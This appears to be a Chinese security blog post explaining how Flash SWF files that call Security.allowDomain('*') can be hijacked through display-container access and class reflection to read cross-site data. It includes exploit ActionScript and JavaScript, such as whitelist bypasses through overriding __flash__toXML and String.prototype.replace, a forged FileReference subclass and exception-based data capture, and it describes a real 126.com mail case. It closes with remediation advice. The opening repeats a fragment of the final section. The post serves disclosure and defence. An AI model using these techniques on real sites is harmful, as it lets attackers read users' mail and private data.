一旦将数据赋值到公开的成员变量里,那么我们就可通过轮询的方式来获取了:

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,将数据存放到了某个元素里,用于显示:

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同样可以利用文章开头提到的方法,从父容器里找出相应的元素,定时轮询其中的内容。

不过这些都算容易解决的。在一些场合,返回的数据根本不符合预期的格式,因此就无法处理直接报错了。


下面是个非常普遍的案例。在接收事件里,将数据进行固定格式的解码:

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因为开发人员已经约定使用 JSON 作为返回格式,所以压根就没容错判断,直接将数据进行解码。

然而我们想要跨站读取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在这里了。

难道就此放弃?都报错无法往下走了,那还能怎么办。唯一可行的,就是将错就错,往『错误』的方向走。

一个强大的运行时系统,都会提供一些接口,供开发者捕获全局异常。HTML 里有,Flash 里当然也有,甚至还要强大的多 —— 不仅能够获得错误相关的信息,甚至还能拿到 throw 出来的那个 Error 对象!

一般通用的类库,往往会有健全的参数检验。当遇到不合法的参数时,通常会将参数连同错误信息,作为异常抛出来。如果某个异常对象里,正好包含了我们想要的敏感数据的话,那就非常美妙了。

就以 JSON 解码为例,我们写个 Demo 验证一下:

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的异常处:

异常中的前两个参数,看起来没多大意义。但第三个参数,里面究竟藏着是什么?

不用猜想,这正是我们想要的东西 —— 传入解码器的整个字符参数!

如此,我们就可在全局异常捕获中,拿到完整的返回数据了:

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

惊呆了吧!只要仔细探索,一些看似不可能实现的,其实也能找到解决方案。

补救

如果从代码层面来修补,短时间内也难以完成。

大型网站长期以来,积累了相当数量的 swf 文件。有时为了解决版本冲突,甚至在文件名里使用了时间、摘要等随机数,这类的 swf 当时的源码,或许早已不再维护了。

因此,还是得从网站自身来强化。crossdomain.xml 中不再使用的域名就该尽早移除,需要则尽可能缩小子域范围。毕竟,只要出现一个带缺陷的 swf 文件,整个站点的安全性就被拉低了。

事实上,即使通过反射目标 swf 实现的跨站请求,referer 仍为攻击者的页面。因此,涉及到敏感数据读取的操作,验证一下来源还是很有必要的。

作为用户来说,禁用第三方 cookie 实在太有必要了。如今 Safari 已默认禁用,而 Chrome 则仍需手动添加。

总结

最后总结下,本文提到的 3 类权限:

  • 代码层面(public / private / …)
  • 模块层面(Security.allowDomain)
  • 站点层面(crossdomain.xml)

只要这几点都满足,就很有可能被用于跨源的请求。

也许会觉得 Flash 里坑太多了,根本防不胜防。但事实上这些特征早已存在,只是未被开发者重视而已。以至于各大网站如今仍普遍躺枪。

当然,信息泄露对每个用户都是受害者。希望能让更多的开发者看到,及时修复安全隐患。

隐私泄露杀手锏:Flash 权限反射,首发于博客 – 伯乐在线

隐私泄露杀手锏 —— Flash 权限反射

前言

一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。

事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。

原理

这一切还得从经典的授权操作说起:

Security.allowDomain('*')

对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?

显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。

因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。

事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!

被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。

我们如何将这种关联,进行充分利用呢?

利用

关联容器

在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!

听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。

偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。

最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。

有这样扩展元素存在,我们就可以访问那些额外的功能了。

开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();

    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。

同时它也是主类,默认会被添加到 Loader 这个加载容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = DisplayObjectContainer(loader).getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。

由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

main.download('//swf-site/data');

同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoader 的 load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。

于是攻击者从任意位置,跨站访问 swf-site 下的数据了。

更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。

如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。

ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。

类反射

通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。

如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?

做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?

事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。

因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。

开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。

攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。

当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:

  • 执行 Security.allowDomain(可控站点)
  • 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义
  • 返回的数据可被获取

第一条:这就不用说了,反射的前提也是需要对方授权的。

第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。

第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。

也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。

同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。

因此我们还是得通过目标 swf 里的已有的功能,进行利用。

案例

这里分享一个现实中的案例,之前已上报并修复了的。

这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf。

反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

我们将其反射出来,根据其规范调用,即可发起跨源请求了!

由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!

进阶

借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。

进阶 No.1 —— 绕过路径检测

当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。

一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。

由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?

因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。

不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。

在这个桥梁里,其中有一个叫 __flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。

显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!

为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。


当然,即使不使用覆盖的方式,我们仍可以控制 __flash__toXML 的返回结果。

仔细分析下这个函数,其中调用了 __flash__escapeXML:

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的实体转义,但又如何进行利用?

因为它是调用 replace 进行替换的,然而在万恶的 JS 里,常用的方法都是可被改写的!我们可以让它返回任何想要的值:

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至还可以针对 __flash__escapeXML 的调用,返回特定值:

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

于是 ExternalInterface.call 的问题就这样解决了。人为返回一个白名单里的域名,即可绕过初始化中的检测,从而顺利执行 Security.allowDomain(*)。

所以,绝不能相信 JS 返回的内容。连标点符号都不能信!


进阶 No.2 —— 构造请求条件

下面这个案例,是某社交网站的头像上传 Flash。

不像之前那些,都可顺利找到公开的网络接口。这个案例十分苛刻,搜索整个项目,只出现一处 URLLoader,而且还是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }

    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;

        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要触发这个方法也非常困难。因为这是一个上传控件,只有当用户选择了文件对话框里的图片,并通过参数检验,才能走到最终的上传位置。

唯一可被反射调用的,就是 Uploader 类自身的构造器。同时控制传入的 FileReference 对象,来构造条件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同于一般的对象,它会调出界面。如果中途弹出文件对话框,并让用户选择,那绝对是不现实的。

不过,弹框和回调只是一个因果关系而已。弹框会产生回调,但回调未必只有弹框才能产生。因为 FileReference 继承了 EventDispatcher,所以我们可以人为的制造一个事件:

file.dispatchEvent(new Event(Event.SELECT));

这样,就进入文件选中后的回调函数里了。

由于这一步会校验文件名、内容等属性,因此还得事先给这些属性赋值。然而遗憾的是,这些属性都是只读的,根本无法设置。

等等,为什么会有只读的属性?属性不就是一个成员变量吗,怎么做到只能读不可写?除非是 const,但那是常量,并非只读属性。

原来,所谓的只读,就是只提供了 getter、但没有 setter 的属性。这样就保证了属性内部可变,但外部不可写的特征。

如果我们能 hook 这个 getter,那就能返回任意值了。然而 AS 里的类默认都是密闭的,不像 JS 那样灵活,可随意篡改原型链。

事实上在高级语言里,有着更为优雅的 hook 方式,我们称作『重写』。我们创建一个继承 FileReference 的类,即可重写那些 getter 了:

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根据著名的『里氏替换原则』,任何基类可以出现的地方,子类也一定可以出现。所以传入这个 FileReferenceEx 也是可接受的,之后一旦访问 name 等属性时,自然就落到我们的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我们成功模拟了文件选择的整个流程。

接着就到关键的上传位置了。庆幸的是,它没写死上传地址,而是从环境变量(loaderInfo.parameters)里读取。

说到环境变量,大家首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方可以传入:

  • swf url query(例如 .swf?a=1&b=2)
  • LoaderContext

由于 url query 是固定的,后期无法修改,所以选择 LoaderContext 来传递:

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因为 LoaderContext 里的 parameters 是运行时共享的,这样就能随时更改环境变量了:

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同时为了不让多余的参数发送上去,还可以在 URL 末尾放置一个 #,让后面多余的部分变成 Hash,就不会走流量了。

尽管这是个很苛刻的案例,但仔细分析还是找出解决办法的。

当然,我们目的并不是为了结果,而是其中分析的乐趣:)


进阶 No.3 —— 捕获返回数据

当然,光把请求发送出去还是不够的,如果无法拿到返回的结果,那还是白忙活。

最理想的情况,就是能传入回调接口,这样就可直接获得数据了。但现实未必都是这般美好,有时我们得自己想办法取出数据。

一些简单的 swf 通常不会封装一个的网络请求类,每次使用时都直接写原生的代码。这样,可控的因子就少很多,利用难度就会大幅提升。

例如这样的场景,尽管能控制请求地址,但由于没法拿到 URLLoader,也就无从获取返回数据了:

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至于啥也不做,多少都会处理下返回结果。这时就得寻找机会了。

一旦将数据赋值到公开的成员变量里,那么我们就可通过轮询的方式来获取了:

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,将数据存放到了某个元素里,用于显示:

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同样可以利用文章开头提到的方法,从父容器里找出相应的元素,定时轮询其中的内容。

不过这些都算容易解决的。在一些场合,返回的数据根本不符合预期的格式,因此就无法处理直接报错了。


下面是个非常普遍的案例。在接收事件里,将数据进行固定格式的解码:

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因为开发人员已经约定使用 JSON 作为返回格式,所以压根就没容错判断,直接将数据进行解码。

然而我们想要跨站读取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在这里了。

难道就此放弃?都报错无法往下走了,那还能怎么办。唯一可行的,就是将错就错,往『错误』的方向走。

一个强大的运行时系统,都会提供一些接口,供开发者捕获全局异常。HTML 里有,Flash 里当然也有,甚至还要强大的多 —— 不仅能够获得错误相关的信息,甚至还能拿到 throw 出来的那个 Error 对象!

一般通用的类库,往往会有健全的参数检验。当遇到不合法的参数时,通常会将参数连同错误信息,作为异常抛出来。如果某个异常对象里,正好包含了我们想要的敏感数据的话,那就非常美妙了。

就以 JSON 解码为例,我们写个 Demo 验证一下:

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的异常处:

异常中的前两个参数,看起来没多大意义。但第三个参数,里面究竟藏着是什么?

不用猜想,这正是我们想要的东西 —— 传入解码器的整个字符参数!

如此,我们就可在全局异常捕获中,拿到完整的返回数据了:

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

惊呆了吧!只要仔细探索,一些看似不可能实现的,其实也能找到解决方案。

补救

如果从代码层面来修补,短时间内也难以完成。

大型网站长期以来,积累了相当数量的 swf 文件。有时为了解决版本冲突,甚至在文件名里使用了时间、摘要等随机数,这类的 swf 当时的源码,或许早已不再维护了。

因此,还是得从网站自身来强化。crossdomain.xml 中不再使用的域名就该尽早移除,需要则尽可能缩小子域范围。毕竟,只要出现一个带缺陷的 swf 文件,整个站点的安全性就被拉低了。

事实上,即使通过反射目标 swf 实现的跨站请求,referer 仍为攻击者的页面。因此,涉及到敏感数据读取的操作,验证一下来源还是很有必要的。

作为用户来说,禁用第三方 cookie 实在太有必要了。如今 Safari 已默认禁用,而 Chrome 则仍需手动添加。

总结

最后总结下,本文提到的 3 类权限:

  • 代码层面(public / private / …)
  • 模块层面(Security.allowDomain)
  • 站点层面(crossdomain.xml)

只要这几点都满足,就很有可能被用于跨源的请求。

也许会觉得 Flash 里坑太多了,根本防不胜防。但事实上这些特征早已存在,只是未被开发者重视而已。以至于各大网站如今仍普遍躺枪。

当然,信息泄露对每个用户都是受害者。希望能让更多的开发者看到,及时修复安全隐患。

隐私泄露杀手锏 —— Flash 权限反射,首发于博客 – 伯乐在线